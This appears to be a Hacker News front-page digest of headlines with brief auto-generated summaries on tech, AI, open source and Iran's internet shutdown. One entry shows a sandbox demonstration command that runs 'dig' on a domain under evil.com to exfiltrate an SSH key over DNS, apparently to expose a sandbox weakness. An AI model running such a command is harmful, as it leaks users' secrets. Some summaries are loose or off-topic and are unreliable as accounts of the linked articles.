Scott Adams has died

AI generated music barred from Bandcamp

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Apple Creator Studio

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Apple unveiled Apple Creator Studio, a collection of powerful creative apps for video editing, music making, and visual productivity. The subscription suite includes Final Cut Pro, Logic Pro, Pixelmator Pro, and more, available on Mac, iPad, and iPhone for $12.99/month or $129/year.

We can't have nice things because of AI scrapers

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Chromium Has Merged JpegXL

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Scott Adams has died

Scott Adams, author of Dilbert, has died at 68 after a battle with cancer. His ex-wife Shelly Miles confirmed his death on his livestream show Real Coffee with Scott Adams.

Influencers and OnlyFans models are dominating U.S. O-1 visa requests

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Content creators and influencers in the US are increasingly applying for O-1 work visas, with a 50% increase in granted visas between 2014 and 2024. The O-1B visa, initially reserved for Hollywood stars, now includes social media influencers and requires evidence of at least three regulatory criteria.

Anthropic invests $1.5M in the Python Software Foundation

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Anthropic donated $1.5 million to the Python Software Foundation over two years to support security work. The gift will help protect millions of Python users from supply-chain attacks and fund core PSF work.

When hardware goes end-of-life, companies need to open-source the software

The user suggests the European Commission enforce companies to open-source software when products reach end-of-life, allowing communities to build new apps. This would reduce e-waste and make products more sustainable.

Local Journalism Is How Democracy Shows Up Close to Home

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Local journalism is crucial for democracy as it makes public life visible and helps citizens understand how their communities work and who is accountable. Without it, power operates out of view and people become resigned, losing orientation and engagement in public life.

A 40-line fix eliminated a 400x performance gap

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A developer improved the performance of ThreadMXBean.getCurrentThreadUserTime() by 40x by using the Linux-specific clock_gettime() function with a custom clockid. The change eliminates multiple syscalls and file I/O, resulting in a significant latency reduction.

Signal leaders warn agentic AI is an insecure, unreliable surveillance risk

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Signal's President and VP warn that agentic AI is insecure, unreliable, and a surveillance nightmare due to its access to sensitive data and vulnerabilities to malware. They recommend the industry change its approach to mitigate the threat, providing transparency and audibility to preserve privacy and security.

The truth behind the 2026 J.P. Morgan Healthcare Conference

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The author questions the reality of the J.P. Morgan Healthcare Conference, suggesting it's a mass-coordination social contract rather than a physical event. They propose that the conference is connected to a massive, underground organism beneath California, which the biotech industry is secretly trying to keep alive.

Every GitHub object has two IDs

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The user encountered a problem with GitHub's API while building a feature for Greptile, where they needed to extract database IDs from node IDs, but found two separate ID systems. They discovered that the new node ID format uses MessagePack to encode relevant IDs into an array, allowing them to extract the database ID using a bitmask operation.

Network of Scottish X accounts go dark amid Iran blackout

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Multiple Scottish independence supporter accounts on X have ceased activity after sharing extreme content, possibly due to a VPN obscuring their location. These accounts may be linked to Iranian-backed bot networks that spread disinformation and support left-leaning views.

No management needed: anti-patterns in early-stage engineering teams

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Early-stage founders should focus on hiring exceptional engineers and creating an environment where they can do their best work, rather than trying to manage them. Founders should avoid premature management and instead adopt a "less-is-more" approach, using simple tools and practices like asynchronous status updates, organic 1:1s, and extreme transparency to manage their teams.

Text-based web browsers

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Text-based browsers like ELinks, Lynx, and w3m struggle with recent HTML features, often ignoring or misinterpreting them. They mainly display plain HTML without CSS or JS, making interactive features like disclosure widgets and dialogs unusable.

Show HN: Self-host Reddit – 2.38B posts, works offline, yours forever

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Redd-Archiver transforms compressed data dumps into browsable HTML archives with flexible deployment options. It supports offline browsing and full-text search with Docker deployment.

90M people. 118 hours of silence. One nation erased from the internet

Iran's government severed digital lifelines of 90 million people by a coordinated internet shutdown, not a shutdown, but a reconfiguration of the National Information Network. The blackout was a cover for violence, with the regime targeting privacy tools and completely severing IPv6 connectivity.

The insecure evangelism of LLM maximalists

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The author finds LLMs useful for tasks like searching and coding but is disappointed with "vibe coding" due to its limitations and the need for constant babysitting. They question the hostility of LLM proponents, suggesting they may be insecure about their own programming abilities.

How to make a damn website (2024)

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To create a simple website, start by writing a single blog post in plain HTML, then upload it to a server and make it accessible via a URL. Once you have a basic website, you can add more content, create an RSS feed, and style your website with CSS.

What a year of solar and batteries saved us in 2025

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The user analyzed their home energy solution, including solar panels, Tesla Powerwalls, and a smart tariff, and found a potential saving of Β£3,857 in 2025. Their total electricity cost for 2025 was Β£557.37, a significant reduction from Β£3,632.86 without the energy solution.

The Tulip Creative Computer

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Tulip is a low-power, open-source portable computer with a touchscreen display and sound, fully programmable with Python. It supports music synthesis, graphics, and text, with a dedicated community and online chat.

Games Workshop bans staff from using AI

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Games Workshop has banned AI in content production and design due to a cautious approach and concern for intellectual property. The company allows senior managers to experiment with AI but bars its use in producing content or designs.

Let's be honest, Generative AI isn't going all that well

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LLMs rely heavily on memorization, not true intelligence, and scaling won't solve this issue. Shaping AI policy around unproven tech is a mistake.

The UK is shaping a future of precrime and dissent management (2025)

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The UK is expanding predictive policing and surveillance, framing it as a response to crime and public safety, but critics argue it's a shift toward 'precrime' and suppressing dissent. The government is developing a "murder prevention" system and expanding facial recognition technology, raising concerns about racialised policing and over-surveillance.

Are two heads better than one?

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Alice and Bob independently flip a coin and lie 20% of the time, and trusting their statements results in an 80% chance of guessing the coin flip correctly. Adding more friends who lie 20% of the time does not improve the chances of guessing correctly, except when the number of friends is odd.

Indifference is a power (2015)

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Stoicism is often misunderstood as a philosophy of passivity and endurance, but it's actually about living in accordance with nature and cultivating gratitude and resilience. Stoics like Epictetus and Marcus Aurelius taught that adversity can be an opportunity for growth and that true strength lies in accepting what's outside one's control.

Mozilla's open source AI strategy

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Mozilla is working to create an open-source AI ecosystem that gives users control over their intelligence and data, rather than relying on closed systems that can change terms at any time. The organization is focusing on four key areas: developer experience, data, models, and compute, to make open AI easier to use and more accessible to everyone.

U.S. Emissions Jumped in 2025 as Coal Power Rebounded

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FOSS in times of war, scarcity and (adversarial) AI [video]

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Geopolitical conflicts and AI-generated code threaten the global community working on Free and Open Source software, potentially disrupting its trustworthiness and democratic values. The FOSS community must balance innovation with caution, combining AI with human skill and traditional quality assurance methods to preserve its integrity and defend against malicious code.

Show HN: An iOS budget app I've been maintaining since 2011

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Primoco is a budgeting platform offering a web app and mobile apps for various devices, helping users manage their finances. It prioritizes data security and ease of use, available for iOS, Android, and macOS with offline capabilities.

How London cracked mobile phone coverage on the Underground

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Boldyn Networks has built a "neutral network" in London's Underground, providing phone coverage and emergency services network, with 800km of cabling and 9 "hotels" of computer equipment. The network is expected to be completed by the end of this year, with most of the London Underground covered, and will allow mobile networks to share equipment and reduce costs.

vLLM large scale serving: DeepSeek 2.2k tok/s/h200 with wide-ep

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vLLM has migrated to V1 engine, achieving 2.2k tok/s/H200 with wide-EP and optimized MoE deployments. vLLM supports various serving patterns, including wide-EP, dual-batch overlap, and expert parallelism.

A university got itself banned from the Linux kernel (2021)

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A University of Minnesota researcher's experiment introducing vulnerabilities into the Linux kernel sparked a community backlash, leading to a ban on the university's contributions. The Linux community demands the university restore trust by apologizing and ensuring future experiments undergo proper review.

Show HN: Nogic – VS Code extension that visualizes your codebase as a graph

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The codebase can be turned into an interactive map to help navigate complex architecture. Custom boards can be created to organize specific parts of the codebase, all within the local IDE.

Confer – End to end encrypted AI chat

Encryption converts plaintext to unreadable ciphertext using an algorithm and key. Symmetric encryption uses one key for both encryption and decryption, while asymmetric encryption uses a public key for encryption and a private key for decryption.

Ask HN: ADHD – How do you manage the constant stream of thoughts and ideas?

You have ADHD, experience constant mental stimulation, and struggle to stay focused while managing a business and life. You've tried various systems like lists and Asana to cope, and are now building your own tool to capture tasks and knowledge.

Ask HN: Iran's 120h internet shutdown, phones back. How to stay resilient?

Internet shutdowns in Iran have led to a search for resilient communication channels. Viable options include mesh networks using devices like routers and satellites, and peer-to-peer messaging apps like Signal and Wire.

Why we don’t use AI

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The developers of Yarn Spinner do not use AI in their product or tools, and refuse to support companies that make AI tools for firing people or exploiting workers, citing concerns about the technology's misuse. They believe that AI should be used to help people, not replace them, and are committed to creating tools that solve real problems and promote better game development.

The Cathedral, the Megachurch, and the Bazaar

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The original open source "bazaar" has evolved into "Megachurch Open Source" with structured organizations and rules, but the true bazaar still exists with many small, individual projects. The bazaar's chaos and lack of rules can be beneficial, but it's hard to fund and support these projects.

Instagram AI Influencers Are Defaming Celebrities with Sex Scandals

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AI influencers are sharing fake images of themselves with celebrities on Instagram, funneling users to adult content sites where they sell nude images. These AI-generated posts violate Instagram's policies and are a new strategy to monetize AI-generated porn.

The rapid rise and slow decline of Sam Altman

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Sam Altman's public credibility has waned due to OpenAI's lack of profits, disappointing GPT-5, and Altman's inability to explain financials. His charm and hype may not be enough to save OpenAI from becoming a commodity, with companies like Anthropic and Google catching up.

Open sourcing Dicer: Databricks's auto-sharder

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Databricks open sources Dicer, an auto-sharder for building low latency, scalable, and highly reliable sharded services. Dicer dynamically manages sharding assignments to keep services responsive and resilient.

The Case for Blogging in the Ruins

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The user argues that blogs are a better tool for building a body of work and creating something that will outlast platforms, citing their permanence and ability to accommodate nuanced thinking. They encourage readers to start a blog, using platforms like Write.as, Bear Blog, Ghost, or Micro.blog, to create a space for independent writing and thinking.

Tell HN: DigitalOcean's managed services broke each other after update

DigitalOcean's managed PostgreSQL update caused a Cilium bug, breaking private VPC connectivity to managed Kubernetes. Managed services don't eliminate ops emergencies, just shift failure modes from yours to the vendor's.

Why have death rates from accidental falls tripled?

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Death rates from accidental falls have tripled among Americans since 2000, with age being a major predictor. The increase is attributed to factors such as prescription medications, rising alcohol consumption, and obesity, among others.

Show HN: SnackBase – Open-source, GxP-compliant back end for Python teams

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SnackBase provides a complete backend foundation with a simple schema syntax for defining data models, validation, and auto-generated APIs. It offers role-based access control, field-level permissions, OAuth, SAML, and audit logs, along with built-in authentication support.

Show HN: HyTags – HTML as a Programming Language

HyTags aims to combine backend and frontend into a single application, reducing complexity. It achieves this by defining UI behavior and markup together in small, composable components.

Running Lean at Scale

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The company built a custom automated reinforcement learning system to improve Lean theorem models, using a Lean execution framework called the REPL service. The service was redesigned multiple times to handle scaling, reliability, and efficiency issues, ultimately resulting in a custom load balancer and protocol.

UK Expands Online Safety Act to Mandate Preemptive Scanning

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The UK's Online Safety Act now requires digital platforms to scan and block user content before it's seen, using automated systems to detect priority offenses like cyberflashing and self-harm encouragement. Non-compliance may result in fines and service blocking, raising concerns about user privacy and potential censorship.

You need a kitchen slide rule

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A slide rule helps with kitchen proportions by instantly scaling ingredients based on a set ratio. It's a mess-free, multitasking-friendly tool for achieving instant calculations in cooking.

The housing market isn't for single people

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Single Canadians face housing affordability issues, with many struggling to pay rent or mortgage on their own. Some are turning to co-living arrangements, like pooling resources to buy a house together, to address social isolation and financial stress.

Show HN: The Tsonic Programming Language

Tsonic compiles TypeScript to C# for native .NET binaries. It uses tsbindgen for CLR bindings and Node resolution for imports.

We rolled our own documentation site

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We used pandoc to create a static documentation site at https://docs.tangled.org, choosing simplicity over complex features. The site is customizable and works well with JS disabled, but lacks native search functionality.

Choosing learning over autopilot

The user uses AI coding tools to enhance learning and understanding, but fears becoming lazy and building "ai slop" that lacks depth. They outline guidelines to avoid this, including documenting research, collaborating with AI, and reviewing code to ensure understanding and quality.

Provenance Is the New Version Control

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Regenerable systems change the unit of change from lines of code to reasons, requiring version control to track intent and decisions. This shift forces the use of structured intent graphs and generative provenance to link intent to implementation.

Show HN: Ayder – HTTP-native durable event log written in C (curl as client)

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Ayder is a single-binary event streaming system with HTTP API, no JVM, and no ZooKeeper. It provides Kafka-grade durability with Redis-like simplicity.

NASA topples towers used to test Saturn rockets, space shuttle

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Two historic NASA test facilities, the Propulsion and Structural Test Facility and the Dynamic Test Facility, were demolished at the Marshall Space Flight Center in Alabama after being deemed unsafe and in need of $25 million in repairs. The facilities, which played key roles in the development of the Saturn V and space shuttle launch vehicles, were preserved through archival records and ...

Iran official says 2k people have been killed in unrest

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Show HN: AsciiSketch a free browser-based ASCII art and diagram editor

PawSense: Catproof Your Computer

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PawSense is a software that detects and blocks cat typing on keyboards, protecting computers from damage. It trains cats to stay off keyboards with sounds and a screensaver mode.

Ask HN: Vxlan over WireGuard or WireGuard over Vxlan?

Using VXLAN inside WireGuard is not recommended due to security concerns. VXLAN over IPsec/WireGuard is a better option to avoid MTU issues and ensure secure network traversal.

Show HN: FastScheduler – Decorator-first Python task scheduler, async support

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FastScheduler is a Python task scheduler with async support, timezone handling, and a real-time dashboard. It supports various scheduling methods, including cron expressions, intervals, and specific dates.

Day Fifteen of Iran's Nationwide Protests: Sharp Rise in Human Casualties

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Iran protests have resulted in 544 confirmed deaths and 10,681 arrests, with widespread internet shutdowns severely disrupting information collection. The UN and human rights organizations have called for internet restoration and an end to violent repression, with international pressure mounting on the Iranian government.

Show HN: Microwave – Native iOS app for videos on ATproto

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To test a beta app, install TestFlight and accept an invitation to download the app, which is available for up to 90 days. You can install the latest beta build automatically or choose from available builds.

Ask HN: Quantum Computation, Computers and Programming

You're looking for resources to study quantum computation, quantum computers, and quantum programming from basics to advanced, including abstract models, physics, organization, and architecture, as well as programming languages and real-world applications. You'd like to learn how quantum computers help solve problems that cannot be solved classically, with examples and insights from ...

Is it a joke?

The user enjoys listening to podcasts while working on a diorama game, citing examples of podcasts that blur the line between reality and fiction. They also discuss their own creative projects, including a fictional game called Blue Prince.

An Ode to the Return of Wysiwyg

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The author remembers the 90's internet era where anyone could create websites using WYSIWYG tools like Frontpage and Flash, making it accessible to non-coders. Now, AI tools like Claude Code are enabling non-coders to create websites by describing what they want, opening doors to more people making various types of content.

Justice Delayed Is Justice Denied

The legal maxim "justice delayed is justice denied" emphasizes the importance of timely resolution in the justice system, as delays can cause frustration, unfairness, and a lack of efficacy. Various jurisdictions have implemented measures to address delays, including time limits for decisions, reporting requirements, and disciplinary actions against judges who fail to meet these standards.

CLI's completion should know what options you've typed

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Optique 0.10.0 introduces a dependency system that allows CLI options to be aware of each other for validation and shell completion. The system uses a three-phase parsing strategy and provides async variants for real-world dependency resolution, enabling tools to interact with external systems with context-dependent completion choices.

Ask HN: If you had $10M in the bank, would you still show up to your job?

People have different reasons for working, with some finding enjoyment in their job and others seeing it as a means to an end.

Multiword matrix multiplication over large finite fields in floating-point

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Researchers developed a new method for efficient modular matrix multiplication, overcoming limitations of existing approaches for large prime numbers. The new method uses multiword decompositions to handle larger prime bitsizes with high performance.

Terra - A rolling-release Fedora repository

Terra is the community Fedora repository which makes it easy to install and maintain software packages.

Five Practical Lessons for Serving Models with Triton Inference Server

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Triton Inference Server is best for classical inference workloads, not generative models like LLMs. It shines with dynamic batching, but falls short with continuous batching and caching for LLMs.

Data Exfiltration via DNS Resolution

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settings.json { "network": { "allowedDomains": [], "deniedDomains": [], "allowLocalBinding": true }, "filesystem": { "denyRead": [], "allowWrite": [], "denyWrite": [] } } command srt --settings settings.json 'dig your-ssh-key.a.evil.com'...

Ask HN: Discrepancy between Lichess and Stockfish

Lichess's reported Stockfish speed may be instantaneous, while local setup measures average speed. Different search configurations and frontend overheads may affect depth 30 comparability.

Command K Bars

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Graphical user interfaces (GUIs) have limitations, such as clutter and complexity, which can be addressed by command bars that provide a search-based interface for accessing app functions. Command bars are now proliferating, with various libraries and applications incorporating them to simplify user navigation and reduce cognitive load.

Show HN: Junior devs don't know red flags we spot instantly & we never tell them

Code review identifies red flags such as hardcoded API keys, SQL injection, and memory leaks. AI-powered code review helps junior developers fix issues and improve skills for better job prospects.

Never-before-seen Linux malware is "more advanced than typical"

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Researchers discovered VoidLink, a sophisticated Linux malware framework with 30+ modules for stealth, reconnaissance, and lateral movement. It targets cloud services and can be easily customized, indicating a shift in attackers' focus to Linux systems and cloud infrastructure.

An archaeology of tracking on government websites

Show HN: DebtBomb – Make TODOs expire and automatically create Jira tickets

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DebtBomb is a tool that scans source code comments for time-limited "debt bombs" and fails CI when they expire. It attaches an expiry date to temporary hacks, forcing cleanup when the date passes.

SkyPilot: One system to use and manage all AI compute (K8s, 20 clouds, Slurm)

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SkyPilot is a system to run, manage, and scale AI workloads on any AI infrastructure with a unified interface. It supports various clouds and frameworks, avoiding vendor lock-in.

Revup: Upload once to create multiple, relative GitHub PRs

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Revup is a command-line tool that automates code reviews by creating multiple independent branches and managing GitHub pull requests. It supports a patch-based workflow and is highly configurable.

Signal creator Moxie Marlinspike wants to do for AI what he did for messaging

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Moxie Marlinspike is developing Confer, an open-source AI assistant with end-to-end encryption for user data. Confer protects user prompts, AI responses, and conversations from being read or tampered with by anyone except account holders.

Just the Browser: Remove AI features and other annoyances from web browsers

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Just the Browser removes AI features, telemetry, and sponsored content from popular web browsers like Chrome, Edge, and Firefox. It uses hidden settings and group policies to customize browsers, making them more tolerable without modifying applications.

Show HN: Timberlogs – Drop-in structured logging for TypeScript

User built Timberlogs, a logging solution with features like auto-batching, redaction, and real-time dashboard, currently in beta and free to use. They seek feedback from the Hacker News community.

Using proxies to hide secrets from Claude Code

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Claude Code uses sandbox-exec for OS X users and supports network isolation and proxies to limit access to host. It can perform actions with network access and data, but using proxies and fine-grained permissions can prevent API key exposure.